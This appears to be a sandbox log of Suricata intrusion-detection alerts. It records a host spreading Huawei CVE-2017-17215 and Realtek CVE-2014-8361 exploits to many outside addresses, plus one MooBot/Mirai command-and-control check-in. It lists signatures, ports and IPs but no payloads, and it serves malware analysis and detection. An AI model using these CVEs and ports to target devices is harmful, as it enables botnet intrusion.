07/20/24-23:05:47.533407	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50332	37215	192.168.2.13	157.199.216.214
07/20/24-23:05:52.256968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34232	37215	192.168.2.13	213.42.125.74
07/20/24-23:05:56.901109	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59220	52869	192.168.2.13	142.15.8.195
07/20/24-23:05:52.218581	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54768	37215	192.168.2.13	170.193.85.178
07/20/24-23:05:46.357721	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50170	52869	192.168.2.13	131.82.186.16
07/20/24-23:05:52.251312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37818	37215	192.168.2.13	157.231.229.161
07/20/24-23:05:47.533385	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46660	37215	192.168.2.13	157.218.98.239
07/20/24-23:05:51.421136	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45692	52869	192.168.2.13	74.72.233.88
07/20/24-23:05:46.912775	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44984	37215	192.168.2.13	197.159.192.112
07/20/24-23:05:46.976752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38140	37215	192.168.2.13	157.107.248.38
07/20/24-23:05:52.265126	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33666	37215	192.168.2.13	41.219.104.62
07/20/24-23:05:46.978420	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56012	37215	192.168.2.13	45.172.31.176
07/20/24-23:05:51.421493	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39522	52869	192.168.2.13	144.242.91.152
07/20/24-23:05:52.199166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45222	37215	192.168.2.13	157.61.195.50
07/20/24-23:05:52.179209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45986	37215	192.168.2.13	157.141.104.84
07/20/24-23:05:52.264315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40364	37215	192.168.2.13	41.235.229.227
07/20/24-23:05:52.269606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59118	37215	192.168.2.13	157.199.118.155
07/20/24-23:05:47.519320	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54398	52869	192.168.2.13	97.127.217.219
07/20/24-23:05:51.421877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40188	52869	192.168.2.13	84.205.84.200
07/20/24-23:05:47.536680	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45594	37215	192.168.2.13	197.75.246.24
07/20/24-23:05:46.929085	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42854	37215	192.168.2.13	220.140.76.88
07/20/24-23:05:46.823837	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50968	52869	192.168.2.13	136.117.93.58
07/20/24-23:05:52.258489	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60810	37215	192.168.2.13	157.47.192.204
07/20/24-23:05:47.528501	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45062	52869	192.168.2.13	130.201.224.129
07/20/24-23:05:47.535438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46668	37215	192.168.2.13	157.76.93.169
07/20/24-23:05:51.418319	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50206	52869	192.168.2.13	124.62.99.179
07/20/24-23:05:52.229226	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44684	37215	192.168.2.13	197.153.15.83
07/20/24-23:05:46.907724	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50018	37215	192.168.2.13	157.55.21.62
07/20/24-23:05:46.752647	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55814	52869	192.168.2.13	106.225.80.214
07/20/24-23:05:52.281343	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60796	37215	192.168.2.13	89.15.200.246
07/20/24-23:05:47.457457	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55022	52869	192.168.2.13	152.36.106.192
07/20/24-23:05:52.247739	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45166	37215	192.168.2.13	197.45.156.70
07/20/24-23:05:54.841414	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42524	52869	192.168.2.13	31.131.38.148
07/20/24-23:05:51.419963	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52160	52869	192.168.2.13	191.248.177.130
07/20/24-23:05:47.533322	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36628	37215	192.168.2.13	41.113.145.203
07/20/24-23:05:46.922963	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57444	37215	192.168.2.13	41.211.96.69
07/20/24-23:05:51.420040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42262	52869	192.168.2.13	132.142.106.204
07/20/24-23:05:46.915618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54346	37215	192.168.2.13	174.50.31.231
07/20/24-23:05:46.926640	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45404	37215	192.168.2.13	197.64.13.247
07/20/24-23:05:46.981573	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40314	37215	192.168.2.13	41.253.146.19
07/20/24-23:05:56.941696	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34054	52869	192.168.2.13	36.191.196.165
07/20/24-23:05:47.376869	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55328	52869	192.168.2.13	105.38.165.57
07/20/24-23:05:52.264315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41398	37215	192.168.2.13	197.107.121.28
07/20/24-23:05:52.179209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50976	37215	192.168.2.13	157.255.153.187
07/20/24-23:05:47.534030	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44416	37215	192.168.2.13	41.200.3.249
07/20/24-23:05:52.256968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33746	37215	192.168.2.13	205.198.86.28
07/20/24-23:05:52.199166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57060	37215	192.168.2.13	41.155.232.222
07/20/24-23:05:52.192507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40328	37215	192.168.2.13	197.79.45.83
07/20/24-23:05:52.281343	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35058	37215	192.168.2.13	157.100.121.122
07/20/24-23:05:47.515143	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48552	52869	192.168.2.13	205.216.169.243
07/20/24-23:05:47.528501	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45062	52869	192.168.2.13	130.201.224.129
07/20/24-23:05:46.759540	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	54578	2466	192.168.2.13	15.235.203.214
07/20/24-23:05:47.498390	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36184	52869	192.168.2.13	44.187.248.15
07/20/24-23:05:46.982455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36432	37215	192.168.2.13	41.153.74.23
07/20/24-23:05:47.535438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35682	37215	192.168.2.13	197.70.4.171
07/20/24-23:05:51.428628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52888	52869	192.168.2.13	162.187.150.19
07/20/24-23:05:46.973669	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37606	37215	192.168.2.13	197.90.187.218
07/20/24-23:05:51.418934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57116	52869	192.168.2.13	209.76.121.16
07/20/24-23:05:54.780791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48574	52869	192.168.2.13	18.130.245.228
07/20/24-23:05:52.192507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47362	37215	192.168.2.13	41.157.96.1
07/20/24-23:05:46.912775	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56854	37215	192.168.2.13	41.247.83.121
07/20/24-23:05:46.922963	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41866	37215	192.168.2.13	105.176.207.17
07/20/24-23:05:52.247739	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54376	37215	192.168.2.13	160.130.172.45
07/20/24-23:05:47.535438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38382	37215	192.168.2.13	41.187.161.26
07/20/24-23:05:54.771686	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38458	52869	192.168.2.13	79.74.230.112
07/20/24-23:05:51.426840	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55686	52869	192.168.2.13	152.36.106.192
07/20/24-23:05:52.179209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35062	37215	192.168.2.13	197.203.131.159
07/20/24-23:05:52.258489	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55190	37215	192.168.2.13	9.76.18.143
07/20/24-23:05:47.554542	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54066	52869	192.168.2.13	218.45.227.32
07/20/24-23:05:51.418934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57116	52869	192.168.2.13	209.76.121.16
07/20/24-23:05:52.199166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49266	37215	192.168.2.13	41.139.230.183
07/20/24-23:05:46.976752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50836	37215	192.168.2.13	41.122.228.58
07/20/24-23:05:46.991466	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51640	37215	192.168.2.13	197.40.78.120
07/20/24-23:05:47.533810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54930	37215	192.168.2.13	41.102.235.10
07/20/24-23:05:46.918113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40274	37215	192.168.2.13	157.27.189.109
07/20/24-23:05:52.184799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47816	37215	192.168.2.13	41.130.210.47
07/20/24-23:05:52.264315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55410	37215	192.168.2.13	157.148.74.66
07/20/24-23:05:46.976752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53532	37215	192.168.2.13	194.186.195.245
07/20/24-23:05:52.227948	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55188	37215	192.168.2.13	197.48.26.198
07/20/24-23:05:46.971186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34934	37215	192.168.2.13	197.38.187.35
07/20/24-23:05:46.986114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40382	37215	192.168.2.13	157.205.60.158
07/20/24-23:05:52.214852	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37648	37215	192.168.2.13	43.120.167.78
07/20/24-23:05:46.912775	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53986	37215	192.168.2.13	197.5.6.138
07/20/24-23:05:56.957732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54802	52869	192.168.2.13	115.82.227.44
07/20/24-23:05:54.780791	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48574	52869	192.168.2.13	18.130.245.228
07/20/24-23:05:51.421877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54696	52869	192.168.2.13	54.79.20.157
07/20/24-23:05:51.428628	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52888	52869	192.168.2.13	162.187.150.19
07/20/24-23:05:51.428628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56024	52869	192.168.2.13	105.38.165.57
07/20/24-23:05:46.919504	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56878	37215	192.168.2.13	111.53.163.147
07/20/24-23:05:46.978421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39968	37215	192.168.2.13	157.231.8.243
07/20/24-23:05:46.357721	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50170	52869	192.168.2.13	131.82.186.16
07/20/24-23:05:47.533323	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47720	37215	192.168.2.13	41.101.51.250
07/20/24-23:05:52.179209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42144	37215	192.168.2.13	185.226.52.199
07/20/24-23:05:52.247739	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39734	37215	192.168.2.13	157.252.225.199
07/20/24-23:05:51.673723	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51472	52869	192.168.2.13	179.157.205.164
07/20/24-23:05:46.923415	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53506	37215	192.168.2.13	157.2.151.90
07/20/24-23:05:52.192507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35310	37215	192.168.2.13	197.77.186.66
07/20/24-23:05:52.251312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60632	37215	192.168.2.13	157.138.236.184
07/20/24-23:05:46.981573	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59046	37215	192.168.2.13	192.124.50.61
07/20/24-23:05:46.986114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47370	37215	192.168.2.13	197.234.141.118
07/20/24-23:05:46.823837	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50968	52869	192.168.2.13	136.117.93.58
07/20/24-23:05:46.923415	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40032	37215	192.168.2.13	186.219.109.51
07/20/24-23:05:47.400564	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45876	52869	192.168.2.13	42.140.137.117
07/20/24-23:05:47.533480	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34638	52869	192.168.2.13	88.169.184.0
07/20/24-23:05:51.421136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49992	52869	192.168.2.13	116.152.21.19
07/20/24-23:05:46.432576	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56392	52869	192.168.2.13	209.76.121.16
07/20/24-23:05:56.957732	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54802	52869	192.168.2.13	115.82.227.44
07/20/24-23:05:52.311537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48574	37215	192.168.2.13	197.125.225.82
07/20/24-23:05:52.297846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60632	37215	192.168.2.13	197.90.99.192
07/20/24-23:05:46.919504	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55892	37215	192.168.2.13	157.189.127.218
07/20/24-23:05:46.922963	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34222	37215	192.168.2.13	197.128.236.2
07/20/24-23:05:52.199166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43764	37215	192.168.2.13	58.221.228.247
07/20/24-23:05:52.265126	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40048	37215	192.168.2.13	157.208.62.251
07/20/24-23:05:51.428628	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56024	52869	192.168.2.13	105.38.165.57
07/20/24-23:05:52.264315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51622	37215	192.168.2.13	197.194.249.74
07/20/24-23:05:46.961659	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42230	37215	192.168.2.13	114.46.14.97
07/20/24-23:05:46.978420	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38152	37215	192.168.2.13	27.97.182.214
07/20/24-23:05:52.218581	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53498	37215	192.168.2.13	197.183.204.53
07/20/24-23:05:46.986114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58918	37215	192.168.2.13	37.234.99.161
07/20/24-23:05:51.421877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54696	52869	192.168.2.13	54.79.20.157
07/20/24-23:05:52.199166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45046	37215	192.168.2.13	157.14.145.123
07/20/24-23:05:47.337367	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38498	52869	192.168.2.13	101.73.4.16
07/20/24-23:05:46.770868	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51450	52869	192.168.2.13	191.248.177.130
07/20/24-23:05:46.961659	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49916	37215	192.168.2.13	196.191.7.200
07/20/24-23:05:46.970753	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60812	37215	192.168.2.13	187.232.79.235
07/20/24-23:05:46.976751	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51204	37215	192.168.2.13	157.136.196.45
07/20/24-23:05:52.264315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34152	37215	192.168.2.13	41.106.71.120
07/20/24-23:05:56.952811	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60548	52869	192.168.2.13	184.167.112.86
07/20/24-23:05:52.179209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45586	37215	192.168.2.13	197.217.214.94
07/20/24-23:05:52.184799	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33354	37215	192.168.2.13	19.234.58.42
07/20/24-23:05:46.978420	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48874	37215	192.168.2.13	197.172.54.205
07/20/24-23:05:46.923415	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59052	37215	192.168.2.13	136.107.92.11
07/20/24-23:05:52.212387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41692	37215	192.168.2.13	197.161.174.159
07/20/24-23:05:47.533480	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34638	52869	192.168.2.13	88.169.184.0
07/20/24-23:05:54.890589	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40930	52869	192.168.2.13	151.81.162.218
07/20/24-23:05:51.418319	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50206	52869	192.168.2.13	124.62.99.179
07/20/24-23:05:52.269606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46154	37215	192.168.2.13	197.213.66.244
07/20/24-23:05:51.426840	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55686	52869	192.168.2.13	152.36.106.192
07/20/24-23:05:47.400564	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45876	52869	192.168.2.13	42.140.137.117
07/20/24-23:05:46.918113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51660	37215	192.168.2.13	157.19.102.202
07/20/24-23:05:46.926640	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57360	37215	192.168.2.13	41.172.40.25
07/20/24-23:05:51.421136	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41794	52869	192.168.2.13	78.233.207.44
07/20/24-23:05:52.258489	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46334	37215	192.168.2.13	41.173.158.111
07/20/24-23:05:46.918113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44084	37215	192.168.2.13	197.248.203.139
07/20/24-23:05:52.265126	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47392	37215	192.168.2.13	41.15.234.67
07/20/24-23:05:56.952811	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60548	52869	192.168.2.13	184.167.112.86
07/20/24-23:05:46.789697	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49348	52869	192.168.2.13	102.46.199.20
07/20/24-23:05:51.418349	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43908	52869	192.168.2.13	36.180.172.129
07/20/24-23:05:47.536680	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39846	37215	192.168.2.13	157.1.73.107
07/20/24-23:05:46.926640	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42496	37215	192.168.2.13	157.76.12.119
07/20/24-23:05:54.215956	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44024	52869	192.168.2.13	101.165.109.42
07/20/24-23:05:52.251312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37342	37215	192.168.2.13	41.99.124.156
07/20/24-23:05:52.311537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34018	37215	192.168.2.13	41.183.62.31
07/20/24-23:05:51.419676	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46960	52869	192.168.2.13	39.125.186.30
07/20/24-23:05:51.418934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33116	52869	192.168.2.13	159.113.67.133
07/20/24-23:05:52.256968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58740	37215	192.168.2.13	41.241.237.206
07/20/24-23:05:54.890589	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40930	52869	192.168.2.13	151.81.162.218
07/20/24-23:05:46.970753	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37154	37215	192.168.2.13	197.219.0.80
07/20/24-23:05:52.179209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48172	37215	192.168.2.13	157.89.181.63
07/20/24-23:05:52.256968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48944	37215	192.168.2.13	157.81.49.152
07/20/24-23:05:47.554542	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54066	52869	192.168.2.13	218.45.227.32
07/20/24-23:05:51.420131	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40190	52869	192.168.2.13	220.159.9.134
07/20/24-23:05:51.673723	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51472	52869	192.168.2.13	179.157.205.164
07/20/24-23:05:46.757135	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53984	52869	192.168.2.13	54.79.20.157
07/20/24-23:05:52.311537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35850	37215	192.168.2.13	197.53.221.243
07/20/24-23:05:51.418855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42658	52869	192.168.2.13	8.26.166.115
07/20/24-23:05:54.873671	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60450	52869	192.168.2.13	35.16.104.164
07/20/24-23:05:46.986114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38222	37215	192.168.2.13	41.135.182.144
07/20/24-23:05:46.432576	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56392	52869	192.168.2.13	209.76.121.16
07/20/24-23:05:46.923415	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43046	37215	192.168.2.13	41.156.184.169
07/20/24-23:05:46.982251	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34480	37215	192.168.2.13	41.11.182.124

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-20T23:05:51.750961+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52340	52869	192.168.2.13	72.17.189.116
2024-07-20T23:05:46.924600+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53674	37215	192.168.2.13	41.166.221.172
